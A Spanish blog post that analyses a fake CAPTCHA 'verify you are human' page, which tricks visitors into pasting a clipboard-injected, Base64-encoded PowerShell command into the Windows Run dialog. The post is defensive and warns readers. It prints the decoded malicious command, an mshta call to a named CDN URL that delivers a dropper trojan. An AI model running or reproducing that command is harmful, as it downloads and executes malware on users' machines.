Un nuevo tipo de ataque, no tan evidente para todos.

Un nuevo tipo de ataque, no tan evidente para todos.

Hoy me he topado con un nuevo tipo de ataque que, para quienes tienen pocos conocimientos tecnológicos, puede causar serios problemas y permitir el acceso “oculto” a su ordenador por parte de personas malintencionadas, con obvias consecuencias catastróficas. Todo comenzó con una página web que solo solicitaba ‘verify you are human’, es decir, verifica que eres humano, pero en lugar de pedirme resolver un simple rompecabezas, me pidió realizar una acción específica…

Lo que debe llamar la atención de inmediato es que, normalmente, las solicitudes de “no soy un robot” o “soy un humano” te piden resolver un rompecabezas, escribir el resultado de una operación, o identificar un objeto entre varios. Pero nunca deberían pedirte que pulses la combinación de teclas “Windows” + “R”, si estás usando un ordenador con Windows.

Si no estás interesado en detalles técnicos, puedes dejar de leer aquí este artículo: si ves una pantalla como la que se muestra arriba, no sigas las instrucciones que te dan. ¡Presionar la tecla “windows” + R sirve para ejecutar comandos en tu ordenador! Si un sitio web te lo pide, simplemente cierra la página sin hacer nada.

Para quien necesita más detalles tecnicos:

Voy a analizar este sistema y os explicaré exactamente qué ocurre “detrás de las cortinas”, desde un punto de vista técnico, para que entendáis por qué hay que ponerse en alerta cuando se ve algo así.

La página explota la capacidad, actualmente permitida por los estándares HTML, de “inyectar” texto en el portapapeles del ordenador, es decir, lo que normalmente hacemos cuando seleccionamos un texto y pulsamos “CTRL+C”. En pocas palabras, un sitio web puede decidir introducir automáticamente un texto en nuestro CTRL+C: esta funcionalidad se usa, en su mayoría, de manera benigna para facilitar que el usuario copie fechas de vencimiento o códigos promocionales de un sitio, de modo que el usuario luego pueda hacer (CTRL+V) y pegar el contenido en un documento. Pero lo que se pide aquí es ejecutar directamente el código que ya ha sido colocado por el sitio web en mi portapapeles: al seguir las instrucciones y pulsar WINDOWS+R, de hecho, estaría lanzando la ejecución de lo que se ha colocado. Vamos a ver entonces qué han puesto en mi portapapeles, simplemente pegándolo en un archivo de texto en lugar de ejecutarlo arbitrariamente, como se me pide…

Bien… en resumen, si hubiera pegado este código como se solicitaba, habría ejecutado un comando de powershell con unos caracteres que, aparentemente, no significan nada. Sin embargo, el formato de esos caracteres, para quienes ya han tratado con este tipo de cosas, está claramente codificado en “Base64” para hacerlo menos identificable y comprensible para un humano. Así que vamos a usar cualquier sitio web que haga la conversión de cadenas codificadas en Base64 (base64decode.org) y veamos qué sale…

En la parte superior, he introducido la secuencia de caracteres para decodificarla… pero, después de pulsar el botón verde “decode”, como podéis ver, en la parte inferior del botón no obtuve un resultado comprensible… Entonces, tal vez el problema está en la codificación del Base64: podría no ser UTF-8… Selecciono entonces “auto-detect” y lo intento de nuevo…

¡Bingo! La codificación correcta era “UTF-16LE”, y el verdadero código que intentan hacerme ejecutar es este: mshta “https://zone03.b-cdn.net/tr17

El mismo resultado se puede obtener también utilizando directamente Powershell…

A este punto, tengo curiosidad por saber qué contiene esa página que quieren que ejecute… Para descubrirlo, basta con abrir una shell de Ubuntu y usar curl. También se podría hacer con “Invoke-WebRequest”, en PowerShell, pero no lo he estudiado a fondo como para confiar al 100% en lo que hace internamente, así que prefiero confiar en el buen y viejo Linux, ya que también está integrado en Windows…

Bien, ahora analicemos el archivo descargado… al abrirlo con Notepad++, me doy cuenta de que es un binario, muy probablemente un ejecutable… lo renombro como .txt solo para estar seguro, y luego lo paso al sitio “virustotal” (https://www.virustotal.com), que, para quienes no lo conozcan, es un sitio capaz de analizar un archivo pasándolo a una gran cantidad de motores antivirus diferentes. La extensión y el nombre del archivo, en este caso, no tienen relevancia alguna, porque lo que hacen estos motores es crear una especie de “firma” con el contenido del archivo, sin importar cómo se llame. Aquí está el resultado:

Lo que el script en esa página está intentando hacer es descargar un “Troyano” que, en realidad, se llama splwow64.exe. Según la descripción del motor antivirus Kaspersky y de ZoneAlarm, es un “dropper”, es decir, un ejecutable que, a su vez, puede descargar otros ejecutables de internet y ejecutarlos en mi ordenador. A partir de ahí, el camino es muy sencillo: si lo ejecutara, podrían instalarme un software capaz de leer todo lo que escribo en el teclado, o acceder a todos mis archivos, mi correo, o incluso bloquear completamente el contenido de mi ordenador pidiendo un rescate (“ransomware”).

He querido compartir este proceso con todos, esperando poder ayudar un poco a quienes no son muy expertos en informática a entender los peligros que se pueden esconder detrás de una simple solicitud de confirmación de acceso a una página web. Así que, prestad especial atención si veis algo parecido, ¡nunca jamás ejecutéis nada que comience con “pulsa la tecla Windows + R”!

P.D. Incluyo el contenido total del resultado de virustotal porque es interesante cómo el archivo no es detectado por muchos motores antivirus comunes, ¡incluido el que suelo usar! La ejecución, por lo tanto, podría haber pasado desapercibida, o habría tenido que confiar solo en el antivirus integrado de Windows… pero preferiría no intentarlo 🙂

Leave a Reply

Your email address will not be published. Required fields are marked *